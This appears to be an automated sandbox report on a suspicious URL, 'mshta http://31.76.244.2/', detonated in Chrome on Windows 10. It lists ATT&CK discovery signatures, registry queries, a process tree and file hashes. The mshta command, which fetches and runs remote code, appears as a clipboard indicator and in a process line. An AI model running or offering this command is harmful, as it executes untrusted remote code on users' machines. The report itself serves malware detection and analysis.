hxxp://mshta hxxp://31[.]76[.]244[.]2/

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
24/09/2026, 23:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://mshta http://31.76.244.2/
Sample260924-3shzcss15m

Score

7^/10

discovery

Malware Config

Signatures

Suspicious clipboard content. 2 IoCs

A suspicious script was copied to clipboard.

ioc	Process
mshta http//31.76.244.2/	chrome.exe
mshta http//31.76.244.2/	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1932	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134347672194683353"	chrome.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
4208	chrome.exe
4208	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 2952 wrote to memory of 3312	2952	chrome.exe	84
PID 2952 wrote to memory of 1932	2952	chrome.exe	85
PID 2952 wrote to memory of 2588	2952	chrome.exe	86
PID 2952 wrote to memory of 2588	2952	chrome.exe	86
PID 2952 wrote to memory of 2892	2952	chrome.exe	87
PID 2952 wrote to memory of 2892	2952	chrome.exe	87
PID 2952 wrote to memory of 3752	2952	chrome.exe	89
PID 2952 wrote to memory of 2920	2952	chrome.exe	90
PID 2952 wrote to memory of 3752	2952	chrome.exe	89
PID 2952 wrote to memory of 2920	2952	chrome.exe	90
PID 2952 wrote to memory of 1824	2952	chrome.exe	91
PID 2952 wrote to memory of 1824	2952	chrome.exe	91
PID 2952 wrote to memory of 3856	2952	chrome.exe	92
PID 2952 wrote to memory of 3856	2952	chrome.exe	92
PID 2952 wrote to memory of 116	2952	chrome.exe	93
PID 2952 wrote to memory of 116	2952	chrome.exe	93
PID 2952 wrote to memory of 4064	2952	chrome.exe	94
PID 2952 wrote to memory of 4748	2952	chrome.exe	103
PID 2952 wrote to memory of 4748	2952	chrome.exe	103
PID 2952 wrote to memory of 3152	2952	chrome.exe	111
PID 2952 wrote to memory of 4120	2952	chrome.exe	112
PID 2952 wrote to memory of 3432	2952	chrome.exe	113
PID 2952 wrote to memory of 5292	2952	chrome.exe	116
PID 2952 wrote to memory of 5292	2952	chrome.exe	116
PID 2952 wrote to memory of 5424	2952	chrome.exe	117
PID 2952 wrote to memory of 5424	2952	chrome.exe	117
PID 2952 wrote to memory of 5512	2952	chrome.exe	118
PID 2952 wrote to memory of 5512	2952	chrome.exe	118
PID 2952 wrote to memory of 5752	2952	chrome.exe	119
PID 2952 wrote to memory of 5752	2952	chrome.exe	119
PID 2952 wrote to memory of 6004	2952	chrome.exe	120
PID 2952 wrote to memory of 6004	2952	chrome.exe	120
PID 2952 wrote to memory of 6096	2952	chrome.exe	121
PID 2952 wrote to memory of 6096	2952	chrome.exe	121
PID 2952 wrote to memory of 4208	2952	chrome.exe	122

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://mshta http://31.76.244.2/
1⤵
- Suspicious clipboard content.
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffb5b9ac728,0x7ffb5b9ac734,0x7ffb5b9ac740
  2⤵
  PID:3312
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1916,i,16842261162426615041,15988513284302253490,524288 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=2044 /prefetch:3
  2⤵
  - System Time Discovery
  PID:1932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1712,i,15700241920967417033,10117452490696863970,262144 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=1996 /prefetch:2
  2⤵
  PID:2588
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,2919357214616255071,16939681495882146861,524288 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=2524 /prefetch:8
  2⤵
  PID:2892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3100,i,4747098662593574543,8577676678262175533,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3212 /prefetch:1
  2⤵
  PID:3752
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3112,i,7737400464616868250,6808413214117635317,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3232 /prefetch:1
  2⤵
  PID:2920
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4424,i,14031404828729207267,12980546665762434267,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=4444 /prefetch:2
  2⤵
  PID:1824
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4724,i,2732044742940461982,9347686565379492511,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=4728 /prefetch:1
  2⤵
  PID:3856
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4896,i,2478894699701255306,2607870967606481920,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3236 /prefetch:1
  2⤵
  PID:116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5372,i,5082496251507730844,9656503227018031496,524288 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5384 /prefetch:8
  2⤵
  PID:4064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5796,i,10991212081700234553,12105351319190850062,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5812 /prefetch:1
  2⤵
  PID:4748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4688,i,4729942428647461729,16348059441499653590,524288 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=4896 /prefetch:8
  2⤵
  PID:3152
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3476,i,17373664166197472799,4552773102685343760,524288 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3440 /prefetch:8
  2⤵
  PID:4120
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3400,i,4798601000406315271,16172220004694238052,524288 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3412 /prefetch:8
  2⤵
  PID:3432
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=4448,i,17139294318890072473,14916304253214575764,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=4424 /prefetch:1
  2⤵
  PID:5292
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5740,i,16232931940285758900,4174655412889379540,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=4552 /prefetch:1
  2⤵
  PID:5424
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5840,i,16915186743921701270,11788011819546935600,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=4440 /prefetch:1
  2⤵
  PID:5512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5740,i,15799233465576954751,18272934067711499653,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5772 /prefetch:1
  2⤵
  PID:5752
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=4572,i,8488322019446674668,2138987342472227230,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3444 /prefetch:1
  2⤵
  PID:6004
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=3468,i,13875559548435398258,4092149359825770963,2097152 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5744 /prefetch:1
  2⤵
  PID:6096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5472,i,17286245969338357869,7956283912170911442,262144 --field-trial-handle=2000,i,1044922369295318485,3536659998163193406,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5724 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4208

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3924

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" http//31.76.244.2/
1⤵
PID:5232

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8fcce403-94c2-4002-b53f-a0526b1176a2.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\8fcce403-94c2-4002-b53f-a0526b1176a2.tmp
Size 17KB
SHA256 9bf2f67626f98808253515f3f2448a99506eab3fa1f522270e67c94147dd8e13
MD5 fb1d523543aa4f713a5539476302c011
SHA1 234a3bce1a218fe751c8ae83d542c7cd7c136096
SHA512 67ed9a6f96309eeb5b0e46e33280bd7ff791a5f436a60470b7f98fda104e19f95dcfaa7bf164a439c4eca17371b040650f390ee98b8a0bcdec854fb0911ac33d
SSDEEP 384:1Tjep7KxkXqKf/pUZNCgVLH2Hfgslm+7pLuLceS3yXODeB+ErU3O/HGyUPDRr:1fep7KxkXqKf/pUZNCgVLH2Hfgsg+7p3
TLSH
T1E672196B7C4C9A3B4FA4C98CD8167E4FADB5024BA1ED886453FA982503D4BCF11461F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 f42dbc72a7ee417d1ae97598210a3967907337d1665cc46575d737c80b8590f1
MD5 724148ad2a1a45d9cb2cdd080d2ca660
SHA1 8813548b951bcce6dd0489fb11db82bcdea14e28
SHA512 ce4a003ff0fad2d4791bd4b8e823d97fd88bd3fce8f04990b98139b58d86578c870eefd6200b707487abd8d69dea720c6952863351c7cbbb4fdd3c992a303cca
TLSH
T15BF02DB5DC21EC3B0CFD175865645A46F79523572740494B3B3C810D9FB167B459681C
MD5 SHA1 SHA512 TLSH

Submit Download

f_000004

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000004
Size 346KB
SHA256 9be344d8aab52c80881980d24ba1435146143794aebbeb98bcae9a4b41f0bd16
MD5 fc31feb6dbd996017ba0751ebf1a2be0
SHA1 d5e54654c86bcbfc7aeed4377e9183421b5f63f4
SHA512 21a4c7e4b3c8f42a8886bcac34a50ae30e61efd3c0443b66fd3cffc54caaf4265d4ee65521051cc530e2e1dccbfb877a303a119768406da737c3249ab577b0e5
SSDEEP 6144:r6PyntaVKs+9xeKjohEc1avaW5Id9Veu22qVTvHodWVjaVrQXcx81E+/SnCCKCDC:uPynjs+9QEcyIfcN2YTvHo0VjaV2Z/SO
TLSH
T1FF7423717998940FD4622800765A6FF51C403FAFC52AE6E3677B10B34D9E4A7347CA38
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 144B
SHA256 2f9faff7299e12a03851d0af775746677331498f780efa1b38841bb1f0407e2d
MD5 33a5ce136ed0de145055eb71d9ba8e05
SHA1 297640f655a555f64e763fb90d283eb50aa53fcc
SHA512 e41f73d39230f8e21a219e3f2c26ec4a2fdc15851aaba001298a4caf92c633f725e6b65fa7c0c87af84491948e7c4ab5fe5231f375fa42defc0e460ba8a0d267
TLSH
T1BBC0925A12E90081F37976B0BA969CC465A0093C1F8266AAC18A458C58277A7A600850
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 ffe47796e614683ad0d27518dc76deb600dd80c94eb2334de0ea791d886c094f
MD5 12d3164e2e0b58fdfcbbc33ca7b4d0dc
SHA1 b61c6dec5c5ba147f73351a5b72094d0aa4914a9
SHA512 6a38758cdb3d7cec0f8a9b2a6979315856f7dcdf0a7ab0b51fb6166c2c44c6d60c78f1db8c18cfa6c16e38c2b64371a2151b82c5b6c52deafcf4ded7b1a88ade
TLSH
T16B519CF7C3E8967D890192F8A7252F1ACE6D0A14121D3C57C8D8AE5F53E2CB1E20068F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 8f18a5ddda875770a3ca915d1816fb03e2995eceb5faf958487ce4d2e02d57db
MD5 06b3e53391b52739474a0609d56c5238
SHA1 4176d510fee8530375b3ba5ed17390ccb9851a0d
SHA512 9bd0a3fef416a60ec0a0f64b128508ba760cfe9ebec73503da50c673a3bc2a0735d0c1e033e78cfac705103ed9eaf3b5e0703ef5354804fc20650eae9bca44de
SSDEEP 192:ER4jZVMYXyv7mpAPRp2Ge9xHsb+WNnvJPHqsUCZkwa+VyIsnAUge:ER4jnteSUX6nwBP5UI62e
TLSH
T1EE42A52DAD10757B9CDBD22AEA657F93D7F9102271902E84EAFC892C24E75CC2127417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 3e96aa0fbb5892dade333fff524b507f4c11c6d24d7e81167107d8eca7e35193
MD5 1344fca64371e4b328c3f3f4fd38eda5
SHA1 ef00d517e55b94b1cbd4cab51a4884dcdd2a69e6
